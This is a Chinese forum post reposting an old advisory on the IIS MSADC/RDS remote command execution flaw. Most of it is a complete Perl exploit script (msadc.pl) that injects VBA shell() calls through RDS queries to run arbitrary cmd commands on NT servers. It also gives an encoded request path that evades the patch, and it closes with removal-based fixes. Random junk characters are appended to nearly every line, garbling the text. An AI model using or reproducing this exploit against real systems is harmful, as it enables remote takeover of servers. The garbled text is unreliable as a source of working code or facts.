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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) wZ O@J|  
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涉及程序: 1Lc8fP$  
Microsoft NT server 0a@c/ XGBp  
CxkMhd8qz  
描述: nqrDT1b**  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 T"IW Jpc  
88#N~j~P  
详细: B9AbKK$`  
如果你没有时间读详细内容的话,就删除: b70AJe=  
c:\Program Files\Common Files\System\Msadc\msadcs.dll SbCJ|z#?  
有关的安全问题就没有了。 -G FwFkWm  
l -XnB   
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ZDfS0]0F  
0xLkyt0  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 d0Tg qO{  
关于利用ODBC远程漏洞的描述,请参看: *0lt$F$~b  
X&/(x  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !%X>rGkc  
g4i #1V=  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 &D)Hz  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp DVbYShB  
^^7gDgT  
这里不再论述。 n00z8B1j(l  
UYH|?Jw!N  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: :bI,rEW#_  
" xlJs93c  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset M.X}K7Z_/  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! lu3Q,W  
p?}&)Un  
t6j-?c('  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ` 4OMZMq  
p0   
#!perl } !Xf&c{7{  
# ]bf'  
# MSADC/RDS 'usage' (aka exploit) script 7bHE!#L`0  
# =%xIjxYl  
# by rain.forest.puppy y)IGTW o  
# &&ja|o-  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me f]hBPkZ6  
# beta test and find errors! 5VuC U  
aD0Q0C+  
use Socket; use Getopt::Std; DZ,<Jmg&e*  
getopts("e:vd:h:XR", \%args); \ =S3 L<  
`d.Gw+Un  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; F|9a}(-7  
e#K rgUG  
if (!defined $args{h} && !defined $args{R}) { x-tm[x@;o  
print qq~ W31LNysH!;  
Usage: msadc.pl -h <host> { -d <delay> -X -v } BEFe~* ~  
-h <host> = host you want to scan (ip or domain)  PE^eP}O1  
-d <seconds> = delay between calls, default 1 second uQO(?nCi  
-X = dump Index Server path table, if available /@6E3lh S  
-v = verbose P>>f{3e.  
-e = external dictionary file for step 5 :vw0r`  
1<;\6sg  
Or a -R will resume a command session suzFcLxo  
=CWc`  
~; exit;} |C^ c0  
tWcizj;?wK  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; cPV5^9\T  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} N|bPhssFw  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} r4;^c}  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); o7m99(  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 6Wf*>G*h  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 7k.d|<mRv  
]6jHIk|  
if (!defined $args{R}){ $ret = &has_msadc; /j`i/Ha1  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Og_2k ~  
f34_?F<h  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 6s> sj7  
. "cmd /c "; ~W2:NQ>i  
$in=<STDIN>; chomp $in; bXa %EMF  
$command="cmd /c " . $in ; tq2-.]Y@U  
>hHJ:5y  
if (defined $args{R}) {&load; exit;} t `N ">c"  
>fW+AEt\JB  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ^qE<yn  
&try_btcustmr; ' #;,oX~5  
[Od>NO,n+]  
print "\nStep 2: Trying to make our own DSN..."; 38Bnf  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 4x=V|"  
0f_66`  
print "\nStep 3: Trying known DSNs..."; p7%0hLW  
&known_dsn; nh _DEPMq  
er&uC4Y]a  
print "\nStep 4: Trying known .mdbs...";  JsZAP  
&known_mdb; %@M00~-  
AGw1Pl8]K  
if (defined $args{e}){ !%SdTaC{T  
print "\nStep 5: Trying dictionary of DSN names..."; )6O\WB|  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } %i;r]z-  
{JCSR2BB  
print "Sorry Charley...maybe next time?\n"; v!WU |=u  
exit; M!;`(_2  
W;xW: -  
############################################################################## T*7S;<2  
"`gfy  
sub sendraw { # ripped and modded from whisker e[d7UV[Knn  
sleep($delay); # it's a DoS on the server! At least on mine... Zkwy.Hq^  
my ($pstr)=@_; )^*9oqQ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?$>u!V<'  
die("Socket problems\n"); Jnh;;<  
if(connect(S,pack "SnA4x8",2,80,$target)){ =;~%L  
select(S); $|=1; z ^gDbXS  
print $pstr; my @in=<S>; "Nk=g~|  
select(STDOUT); close(S); F'$9en2I:  
return @in; M=" WUe_  
} else { die("Can't connect...\n"); }} > gA %MT  
U08<V:~  
############################################################################## 9}K(Q=  
xi Ov$.@q  
sub make_header { # make the HTTP request $Uv<LVd(  
my $msadc=<<EOT ]be 0I)  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 gJ)h9e*m^  
User-Agent: ACTIVEDATA 4~]8N@Bii  
Host: $ip $@+p~)r(l  
Content-Length: $clen B|Rpm^ |  
Connection: Keep-Alive 0 .6X{kO  
P#vv+]/  
ADCClientVersion:01.06 3B!&ow<rt  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 N}.Q%&6:  
l<0[ K(  
--!ADM!ROX!YOUR!WORLD! >oM9~7f  
Content-Type: application/x-varg F^%{ ;  
Content-Length: $reqlen w@ gl  
`? 9] '  
EOT Z9 ;nC zHm  
; $msadc=~s/\n/\r\n/g; %x cM_|AyR  
return $msadc;} zm;*:]S  
s +y'<88  
############################################################################## }iiG$?|.  
ne !j%9Ar  
sub make_req { # make the RDS request z[0LU]b<  
my ($switch, $p1, $p2)=@_; q/d5P  
my $req=""; my $t1, $t2, $query, $dsn;  1pYmtr  
D@sx`H(  
if ($switch==1){ # this is the btcustmr.mdb query `JY>v io  
$query="Select * from Customers where City=" . make_shell(); |p=.Gg=2  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . b]tA2~e  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} n]6}yJJo  
@4 Os?_gJ\  
elsif ($switch==2){ # this is general make table query E7Gi6w~\  
$query="create table AZZ (B int, C varchar(10))"; %>I?'y^  
$dsn="$p1";} >[E|p6jgT  
ei|*s+OZu  
elsif ($switch==3){ # this is general exploit table query "c! oOaA  
$query="select * from AZZ where C=" . make_shell(); kMJQeo79  
$dsn="$p1";} (> +k3  
5tgILxSK  
elsif ($switch==4){ # attempt to hork file info from index server Hb@G*L$  
$query="select path from scope()"; 4$q )e<-  
$dsn="Provider=MSIDXS;";} _x,-d|9b d  
' 5OVs:)"^  
elsif ($switch==5){ # bad query }LHT#{+ x  
$query="select"; \Z6gXO_  
$dsn="$p1";} @gu77^='  
}jyS\drJ  
$t1= make_unicode($query); (to/9OrG  
$t2= make_unicode($dsn); 0$F _hZU  
$req = "\x02\x00\x03\x00"; =Nv= Q mO  
$req.= "\x08\x00" . pack ("S1", length($t1)); E{+c*sz  
$req.= "\x00\x00" . $t1 ; 98b9%Z'2f  
$req.= "\x08\x00" . pack ("S1", length($t2)); Z)6nu)  
$req.= "\x00\x00" . $t2 ; ZB_16&2Ow  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; **w*hd]  
return $req;} gn[$;*932z  
 n_xa)  
############################################################################## SG+i\yu$h0  
2=!3[> B  
sub make_shell { # this makes the shell() statement \/x)BE,  
return "'|shell(\"$command\")|'";} 6ljRV)  
*k@0:a(>  
############################################################################## 0]2B-o"kI  
LBbo.KxAe3  
sub make_unicode { # quick little function to convert to unicode $@:>7Y"  
my ($in)=@_; my $out; 28UL  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } D"( 3VIglq  
return $out;} K#6`LL m  
x>8}|ou  
############################################################################## \{+nXn  
^]sMy7X0IK  
sub rdo_success { # checks for RDO return success (this is kludge) esC\R4he  
my (@in) = @_; my $base=content_start(@in); n|4D#Bd1w  
if($in[$base]=~/multipart\/mixed/){ BhE~k?$9  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} #1qVFU  
return 0;} b/n8UxA  
` HE:D2b  
############################################################################## b0z{"  
$jm>tW&;  
sub make_dsn { # this makes a DSN for us u{{xnyl?  
my @drives=("c","d","e","f"); =Zb"T5E  
print "\nMaking DSN: "; $E9daUt8"J  
foreach $drive (@drives) { jFPE>F7-M  
print "$drive: "; }JpslY*aS  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Edn$0D68u_  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" hOrk^iYN=  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); + k(3+b$S-  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ) R a/  
return 0 if $2 eq "404"; # not found/doesn't exist ~a8G 5M  
if($2 eq "200") { 5S-o 2a  
foreach $line (@results) { Pguyf2/w  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ixJ20A7  
} return 0;} |>/&EElD  
/Y\E68_Fh  
############################################################################## eI=Y~jy  
c[d'1=Qiy  
sub verify_exists { sWZtbW;)  
my ($page)=@_; nGJIjo_I  
my @results=sendraw("GET $page HTTP/1.0\n\n"); :86luLFm  
return $results[0];} l"pz )$eE  
M-qxD"VtV=  
############################################################################## >s 8:1l  
Dxa)7dA|  
sub try_btcustmr { A2O_pbQti  
my @drives=("c","d","e","f"); V jB`~  
my @dirs=("winnt","winnt35","winnt351","win","windows"); J%O4IcE  
tx1m36a"  
foreach $dir (@dirs) { 5dNf$a0E  
print "$dir -> "; # fun status so you can see progress 1KIq$lG{ E  
foreach $drive (@drives) { o YI=p3l  
print "$drive: "; # ditto 6L6~IXL>  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; -JQg ~1  
$reqlenlen=length( "$reqlen" ); }A'<?d8   
$clen= 206 + $reqlenlen + $reqlen; @tv];t  
8hdAXWPn  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); {@K2WB  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} xMfv&q=k@  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} b=QGbFf  
6`5 @E\"E  
############################################################################## #ZnX6=;X  
x V 1Z&l  
sub odbc_error { 3_eml\CY  
my (@in)=@_; my $base; ?o(X0  
my $base = content_start(@in); Xx<&6 4W  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this uA/.4 b  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *ZSp9g"Z  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7%"\DLA  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; uSQ>oi]  
return $in[$base+4].$in[$base+5].$in[$base+6];} :mtw}H 'F8  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; t>h i$NX{p  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . =|JIY  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Ccd7|L1  
vyx\N{  
############################################################################## Lv5 ==w}  
; # ?0#):-  
sub verbose { ESf7b `tS  
my ($in)=@_; qpwh #^2  
return if !$verbose; kcz#8K]~  
print STDOUT "\n$in\n";} at(p,+ %  
Jx ;"a\KD  
############################################################################## ):\{n8~  
RWPd S  
sub save { Ho._&az9cT  
my ($p1, $p2, $p3, $p4)=@_;  jnKM6%z  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; z9kX`M+  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; <%#y^_  
close OUT;} q~dg   
e}4^N1'd/  
############################################################################## .5CELtR  
#M9D" <pn}  
sub load { I7z]%Z  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; W*DIW;8p  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ZM^;%(  
@p=<IN>; close(IN); Q|H cg|  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); /,@v"mE7c!  
$target= inet_aton($ip) || die("inet_aton problems"); E+c3KqM  
print "Resuming to $ip ..."; z&vms   
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Qu>zO!x  
if($p[1]==1) { y=qo-v59'  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; n]fbV/ x  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 5eSTT#[+R  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); &@iF!D\u  
if (rdo_success(@results)){print "Success!\n";} DMxS-hl  
else { print "failed\n"; verbose(odbc_error(@results));}}  t-x"(  
elsif ($p[1]==3){ Oi[9b  
if(run_query("$p[3]")){ H|:)K^o  
print "Success!\n";} else { print "failed\n"; }} )?IA`7X  
elsif ($p[1]==4){ Z *<x  
if(run_query($drvst . "$p[3]")){  aC }1]7  
print "Success!\n"; } else { print "failed\n"; }} &b6@_C9  
exit;} I \%Lb z  
>h( rd1  
############################################################################## 8*PAgPj a  
hSKH#NS  
sub create_table { ?uX6X'-  
my ($in)=@_; U9[A(  
$reqlen=length( make_req(2,$in,"") ) - 28; =bg&CZV T  
$reqlenlen=length( "$reqlen" ); Fx:en|g  
$clen= 206 + $reqlenlen + $reqlen; 3a)Q:#okD  
my @results=sendraw(make_header() . make_req(2,$in,"")); /FV6lR!0^  
return 1 if rdo_success(@results); 0#{]!>R  
my $temp= odbc_error(@results); verbose($temp); "XsY~  
return 1 if $temp=~/Table 'AZZ' already exists/; H_=[~mJ  
return 0;} p{svXP K  
W#_gvW  
############################################################################## `0XbV A  
KdMA58)  
sub known_dsn { 2xdJ(\JWM  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go @#Uiy5N  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", jLS]^|  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", {ro!OuA  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); +Y]*>afG  
g+r{>x  
foreach $dSn (@dsns) { L?C~ qS2g  
print "."; @=#s~ 3  
next if (!is_access("DSN=$dSn")); >upUY(3&  
if(create_table("DSN=$dSn")){ RkP|_Bf8)  
print "$dSn successful\n"; -XIvj'u  
if(run_query("DSN=$dSn")){ a&aIkD  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { wvaIgy%z  
print "Something's borked. Use verbose next time\n";}}} print "\n";} m1o65FsY08  
?!j/wV_H  
############################################################################## ];~[Olc  
I5OH=,y`  
sub is_access { d*(Bs $De  
my ($in)=@_; i{[H3p8  
$reqlen=length( make_req(5,$in,"") ) - 28; ',s7h"  
$reqlenlen=length( "$reqlen" ); P(nHXVSUE  
$clen= 206 + $reqlenlen + $reqlen; '"\Mjz)/  
my @results=sendraw(make_header() . make_req(5,$in,"")); xWb?i6)z&  
my $temp= odbc_error(@results); by<@Zwtf  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); .LcE^y[V  
return 0;} "57G@NC{n  
x2c*k$<p  
############################################################################## Xt*%"7yTp  
#&KE_ n  
sub run_query { )mVYqlU"  
my ($in)=@_; KBHKcFk  
$reqlen=length( make_req(3,$in,"") ) - 28; t\d;}@bl  
$reqlenlen=length( "$reqlen" ); '?GZ"C2  
$clen= 206 + $reqlenlen + $reqlen; @5VZ   
my @results=sendraw(make_header() . make_req(3,$in,"")); kGiw?~t=%  
return 1 if rdo_success(@results);  !Ocg  
my $temp= odbc_error(@results); verbose($temp); |F {E4mg(o  
return 0;} <G?85*Nv_  
6-}e-H  
############################################################################## .V:<w~=b  
< ^!eaBR4  
sub known_mdb { >,vW  
my @drives=("c","d","e","f","g"); ?'m5)Z{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); x)Kh _G  
my $dir, $drive, $mdb; 'c(Y")QP  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~cj:AIF  
E?D{/ k,zZ  
# this is sparse, because I don't know of many FGhrf  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 0M2+?aKif  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ;OqLNfU3y  
"\\system32\\certmdb.mdb", .T w F] v  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% vbh#[,lh  
TEZqAR]G  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", NfN6KDd]2L  
"\\cfusion\\cfapps\\forums\\forums_.mdb", i j;'4GzQL  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", rWKLxK4oU  
"\\cfusion\\cfapps\\security\\realm_.mdb", \1 D,Kx;Cb  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", S%#Mu|  
"\\cfusion\\database\\cfexamples.mdb", sc>)X{eb  
"\\cfusion\\database\\cfsnippets.mdb", u`,R0=<4  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", A_U0HVx_  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", HTpd~W/\  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 48rYs}  
"\\cfusion\\database\\smpolicy.mdb", }mZ*f y0t  
"\\cfusion\\database\cypress.mdb", >(KUYX?p  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 1RHH<c%2n  
"\\website\\cgi-win\\dbsample.mdb", t1g%o5?;  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", @|A&\a-"J  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" #|E. y^IC  
); #these are just &scD)  
foreach $drive (@drives) { BTtYlpN6  
foreach $dir (@dirs){ {j*+:Gj0V  
foreach $mdb (@sysmdbs) { 9gayu<J  
print "."; IFoN<<7/2$  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ oioN0EuDk  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 8k'em/M~  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ v~QZO4[ '  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; d}J#wT  
} else { print "Something's borked. Use verbose next time\n"; }}}}} wk/U"@lq  
Q[tz)99~  
foreach $drive (@drives) { i.,B 0s] Z  
foreach $mdb (@mdbs) { uW_ /7ex  
print "."; < _uv!N  
if(create_table($drv . $drive . $dir . $mdb)){ F$p,xFH#  
print "\n" . $drive . $dir . $mdb . " successful\n"; vu >@_hv  
if(run_query($drv . $drive . $dir . $mdb)){ a :AcCd)  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; -ouL4  
} else { print "Something's borked. Use verbose next time\n"; }}}} Ggjb86v\  
} |.nWy"L  
{'aqOlw3<j  
############################################################################## OZ9j3Q;a$  
k5CIU}H"  
sub hork_idx { tvCTC ey  
print "\nAttempting to dump Index Server tables...\n"; 8#-}3~l[  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; `P*j~ZLlXN  
$reqlen=length( make_req(4,"","") ) - 28; YP97D n  
$reqlenlen=length( "$reqlen" ); ]HT>-Ba;{h  
$clen= 206 + $reqlenlen + $reqlen; :PkSX*E[q  
my @results=sendraw2(make_header() . make_req(4,"","")); T5G+^XDA  
if (rdo_success(@results)){ m':m`,c!  
my $max=@results; my $c; my %d; -8e tH&  
for($c=19; $c<$max; $c++){ hV>Ey^Ty  
$results[$c]=~s/\x00//g; ^E*C~;^S  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; )A;<'{t #L  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; f89<o#bm7h  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 36UW oo  
$d{"$1$2"}="";} X)5O@"4 ?  
foreach $c (keys %d){ print "$c\n"; } mz '8  
} else {print "Index server doesn't seem to be installed.\n"; }} n&&y\?n  
g;@PEZk1  
############################################################################## Np_6ZUaqz  
obGSc)?j  
sub dsn_dict { { )K(}~VD  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Gl9a5b  
while(<IN>){ "$9ZkADO  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; .<hv &t  
next if (!is_access("DSN=$dSn")); l>q.BG  
if(create_table("DSN=$dSn")){ :g_ +{4  
print "$dSn successful\n"; d^>se'ya  
if(run_query("DSN=$dSn")){ roQIP%h!  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { a)b@en;v  
print "Something's borked. Use verbose next time\n";}}} mAKi%)  
print "\n"; close(IN);} L1K_|X  
> xw+2<  
############################################################################## vi|ASA{V  
U {v_0\ES  
sub sendraw2 { # ripped and modded from whisker Gu=bPQOj  
sleep($delay); # it's a DoS on the server! At least on mine... {'[1I_3  
my ($pstr)=@_; L}nc'smvM  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || '(*D3ysU  
die("Socket problems\n"); a[De  
if(connect(S,pack "SnA4x8",2,80,$target)){ YSmz)YfX9  
print "Connected. Getting data"; ](pD<FfS]'  
open(OUT,">raw.out"); my @in; -n-X/M  
select(S); $|=1; print $pstr; B[h9epU]K  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} E>v~B;@  
close(OUT); select(STDOUT); close(S); return @in; I}x*AM 7+  
} else { die("Can't connect...\n"); }} huE#VY /t  
=r8(9:F!  
############################################################################## q ~lW  
<u\G&cd_tA  
sub content_start { # this will take in the server headers .=S{  
my (@in)=@_; my $c; )vzT\dQ|  
for ($c=1;$c<500;$c++) { @"0qS:s]X  
if($in[$c] =~/^\x0d\x0a/){ aleIy}"  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } i"@?eq#h  
else { return $c+1; }}} V;=T~K|)>  
return -1;} # it should never get here actually 5E8P bV-l  
zwS'AN'A  
############################################################################## __[q`  
J4; ".Y=  
sub funky { dl4.jLY  
my (@in)=@_; my $error=odbc_error(@in); L2%P  
if($error=~/ADO could not find the specified provider/){ DTY=k  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; %iNDRLR%I  
exit;} ;MD{p1w  
if($error=~/A Handler is required/){ 3 -FNd~%  
print "\nServer has custom handler filters (they most likely are patched)\n"; `)fGw7J {  
exit;} |v&&%>A2  
if($error=~/specified Handler has denied Access/){ )Ec;krb+  
print "\nServer has custom handler filters (they most likely are patched)\n"; R_ }(p2  
exit;}} @ ri. r1  
Fk:(% ci  
############################################################################## /uVB[Tk^  
&ReIe>L  
sub has_msadc { {iv=KF_S_  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); {3>^nMv@e  
my $base=content_start(@results); LWE !+(n  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); n:+M Nr  
return 0;} '7^_$M3$\  
:|g{ gi  
######################## a@. /e @p  
F=H=[pSe  
'*:YC  
解决方案: y;H 3g#  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll <LE>WfmC  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 2iu;7/  
T&%>/7I>  
拿出来充数 哈哈
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